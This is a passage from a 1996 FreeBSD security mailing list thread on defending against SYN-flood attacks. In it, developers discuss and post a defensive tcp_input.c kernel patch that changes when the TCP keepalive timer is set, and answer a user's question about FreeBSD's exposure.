note, that the next packet received on the connection would set the timer to tcp_keepidle, because the if clause would be true. so the setting of the timer is delayed for one packet. > Also, it's worth noting explicitly that this change also affects (and > *should* affect) SYN-SENT state in the same fashion as SYN-RECEIVED > state; namely that we don't reset the timer until we've actually > established the connection. This is relevant if we get just an ACK or > just a SYN while in SYN-SENT and either remain in SYN-SENT or > transition to SYN-RECEIVED. agreed. the state transition to ESTABLISHED is the determining factor in setting "tp->t_timer[TCPT_KEEP] = tcp_keepidle". the patch separates the two actions which are part of the same state machine transition. sloppy work. > > With all of the above in mind, the following change seems correct: > your source tree is either very different from FreeBSD or does not include the TTCP code. you show "revision 1.24" FreeBSD is at "revision 1.46". the locations appear to be equivlaent but for the TTCP code. in both cases, the state change to TCPS_ESTABLISHED, may instead be a change to TCPS_FIN_WAIT_1 this is my patch, that i am using "right now" Index: tcp_input.c =================================================================== RCS file: /home/ncvs/src/sys/netinet/tcp_input.c,v retrieving revision 1.46 diff -c -2 -r1.46 tcp_input.c *** tcp_input.c 1996/05/02 05:54:12 1.46 --- tcp_input.c 1996/09/12 00:32:50 *************** *** 451,455 **** */ tp->t_idle = 0; ! tp->t_timer[TCPT_KEEP] = tcp_keepidle; /* --- 451,456 ---- */ tp->t_idle = 0; ! if (TCPS_HAVEESTABLISHED(tp->t_state)) ! tp->t_timer[TCPT_KEEP] = tcp_keepidle; /* *************** *** 833,839 **** tp->t_flags &= ~TF_NEEDFIN; tiflags &= ~TH_SYN; ! } else tp->t_state = TCPS_ESTABLISHED; ! } else { /* --- 834,841 ---- tp->t_flags &= ~TF_NEEDFIN; tiflags &= ~TH_SYN; ! } else { tp->t_state = TCPS_ESTABLISHED; ! tp->t_timer[TCPT_KEEP] = tcp_keepidle; ! } } else { /* *************** *** 860,865 **** tp->t_state = TCPS_FIN_WAIT_1; tp->t_flags &= ~TF_NEEDFIN; ! } else tp->t_state = TCPS_ESTABLISHED; tp->t_flags |= TF_NEEDSYN; } else --- 862,869 ---- tp->t_state = TCPS_FIN_WAIT_1; tp->t_flags &= ~TF_NEEDFIN; ! } else { tp->t_state = TCPS_ESTABLISHED; + tp->t_timer[TCPT_KEEP] = tcp_keepidle; + } tp->t_flags |= TF_NEEDSYN; } else *************** *** 1184,1189 **** tp->t_state = TCPS_FIN_WAIT_1; tp->t_flags &= ~TF_NEEDFIN; ! } else tp->t_state = TCPS_ESTABLISHED; /* * If segment contains data or ACK, will call tcp_reass() --- 1188,1195 ---- tp->t_state = TCPS_FIN_WAIT_1; tp->t_flags &= ~TF_NEEDFIN; ! } else { tp->t_state = TCPS_ESTABLISHED; + tp->t_timer[TCPT_KEEP] = tcp_keepidle; + } /* * If segment contains data or ACK, will call tcp_reass() jmb -- Jonathan M. Bresler FreeBSD Postmaster jmb@FreeBSD.ORG FreeBSD--4.4BSD Unix for PC clones, source included. http://www.freebsd.org/ PGP 2.6.2 Fingerprint: 31 57 41 56 06 C1 40 13 C5 1C E3 E5 DC 62 0E FB From owner-freebsd-security Wed Sep 11 17:53:32 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA18583 for security-outgoing; Wed, 11 Sep 1996 17:53:32 -0700 (PDT) Received: from lestat.nas.nasa.gov (lestat.nas.nasa.gov [129.99.50.29]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id RAA18578 for ; Wed, 11 Sep 1996 17:53:31 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by lestat.nas.nasa.gov (8.7.5/8.6.12) with SMTP id RAA05622; Wed, 11 Sep 1996 17:44:55 -0700 (PDT) Message-Id: <199609120044.RAA05622@lestat.nas.nasa.gov> X-Authentication-Warning: lestat.nas.nasa.gov: Host localhost [127.0.0.1] didn't use HELO protocol To: "Jonathan M. Bresler" Cc: mycroft@mit.edu (Charles M. Hannum), tech-net@netbsd.org, roberto@keltia.freenix.fr, freebsd-security@freebsd.org, BUGTRAQ@netspace.org Subject: Re: Panix Attack: synflooding and source routing? Reply-To: Jason Thorpe From: Jason Thorpe Date: Wed, 11 Sep 1996 17:44:55 -0700 Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 11 Sep 1996 17:33:35 -0700 (PDT) "Jonathan M. Bresler" wrote: > your source tree is either very different from FreeBSD or > does not include the TTCP code. you show "revision 1.24" > FreeBSD is at "revision 1.46". the locations appear to be > equivlaent but for the TTCP code. in both cases, the > state change to TCPS_ESTABLISHED, may instead be a change > to TCPS_FIN_WAIT_1 I'm relatively certain that Charles' diff was relative to NetBSD. :-) -- save the ancient forests - http://www.bayarea.net/~thorpej/forest/ -- Jason R. Thorpe thorpej@nas.nasa.gov NASA Ames Research Center Home: 408.866.1912 NAS: M/S 258-6 Work: 415.604.0935 Moffett Field, CA 94035 Pager: 415.428.6939 From owner-freebsd-security Thu Sep 12 15:16:07 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id PAA07276 for security-outgoing; Thu, 12 Sep 1996 15:16:07 -0700 (PDT) Received: from glacier.cold.org (glacier.sunrem.com [206.81.134.54]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id PAA07245 for ; Thu, 12 Sep 1996 15:16:01 -0700 (PDT) Received: (from brandon@localhost) by glacier.cold.org (8.7.5/8.7.3) id QAA05602; Thu, 12 Sep 1996 16:16:52 -0600 (MDT) Date: Thu, 12 Sep 1996 16:16:51 -0600 (MDT) From: Brandon Gillespie To: freebsd-security@freebsd.org Subject: SYN attacks Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I am basically without knowledge in regard to TCP protocols. What I'm wondering is how succeptible FreeBSD is to the SYN flooding attacks like those that took down panix.com? A patch to the linux kernel came out in the magazine '2600' which enabled one to do the SYN flooding, so I suspect its going to become more common. Somebody mentioned a patch for BSD style kernels from Avi Freedman of NetAxs.com. ? -Brandon Gillespie From owner-freebsd-security Thu Sep 12 17:15:25 1996 Return-Path: owner-security Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA14778 for security-outgoing; Thu, 12 Sep 1996 17:15:25 -0700 (PDT) Received: (from jmb@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA14767; Thu, 12 Sep 1996 17:15:23 -0700 (PDT) From: "Jonathan M. Bresler" Message-Id: <199609130015.RAA14767@freefall.freebsd.org> Subject: Re: SYN attacks To: brandon@glacier.cold.org (Brandon Gillespie) Date: Thu, 12 Sep 1996 17:15:22 -0700 (PDT) Cc: freebsd-security@FreeBSD.org In-Reply-To: from "Brandon Gillespie" at Sep 12, 96 04:16:51 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-security@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Brandon Gillespie wrote: > > I am basically without knowledge in regard to TCP protocols. What I'm > wondering is how succeptible FreeBSD is to the SYN flooding attacks like > those that took down panix.com? A patch to the linux kernel came out in > the magazine '2600' which enabled one to do the SYN flooding, so I suspect > its going to become more common. Somebody mentioned a patch for BSD > style kernels from Avi Freedman of NetAxs.com. there are two steps that you can take: -get the patch from problem report 1600 -decrease the value of TCPTV_KEEP_INIT from 75*PR_SLOWHZ to, say 10*PR_SLOWHZ. this was suggested by Karl Denniger (sp?) of MCS in chicago. i have included the patch below. Index: tcp_input.c =================================================================== RCS file: /home/ncvs/src/sys/netinet/tcp_input.c,v retrieving revision 1.46 diff -c -2 -r1.46 tcp_input.c *** tcp_input.c 1996/05/02 05:54:12 1.46 --- tcp_input.c 1996/09/12 00:32:50 *************** *** 451,455 **** */ tp->t_idle = 0; ! tp->t_timer[TCPT_KEEP] = tcp_keepidle; /* --- 451,456 ---- */ tp->t_idle = 0; ! if (TCPS_HAVEESTABLISHED(tp->t_state)) ! tp->t_timer[TCPT_KEEP] = tcp_keepidle; /* *************** *** 833,839 **** tp->t_flags &= ~TF_NEEDFIN; tiflags &= ~TH_SYN; ! } else tp->t_state = TCPS_ESTABLISHED; ! } else { /* --- 834,841 ---- tp->t_flags &= ~TF_NEEDFIN; tiflags &= ~TH_SYN; ! } else { tp->t_state = TCPS_ESTABLISHED; ! tp->t_timer[TCPT_KEEP] = tcp_keepidle; ! } } else { /* *************** *** 860,865 **** tp->t_state = TCPS_FIN_WAIT_1; tp->t_flags &= ~TF_NEEDFIN; ! } else tp->t_state = TCPS_ESTABLISHED; tp->t_flags |= TF_NEEDSYN; } else --- 862,869 ---- tp->t_state = TCPS_FIN_WAIT_1; tp->t_flags &= ~TF_NEEDFIN; ! } else { tp->t_state = TCPS_ESTABLISHED; + tp->t_timer[TCPT_KEEP] = tcp_keepidle; + } tp->t_flags |= TF_NEEDSYN; } else *************** *** 1184,1189 **** tp->t_state = TCPS_FIN_WAIT_1; tp->t_flags &= ~TF_NEEDFIN; ! } else tp->t_state = TCPS_ESTABLISHED; /* * If segment contains data or ACK, will call tcp_reass() --- 1188,1195 ---- tp->t_state = TCPS_FIN_WAIT_1; tp->t_flags &= ~TF_NEEDFIN; ! } else { tp->t_state = TCPS_ESTABLISHED; + tp->t_timer[TCPT_KEEP] = tcp_keepidle; + } /* * If segment contains data or ACK, will call tcp_reass()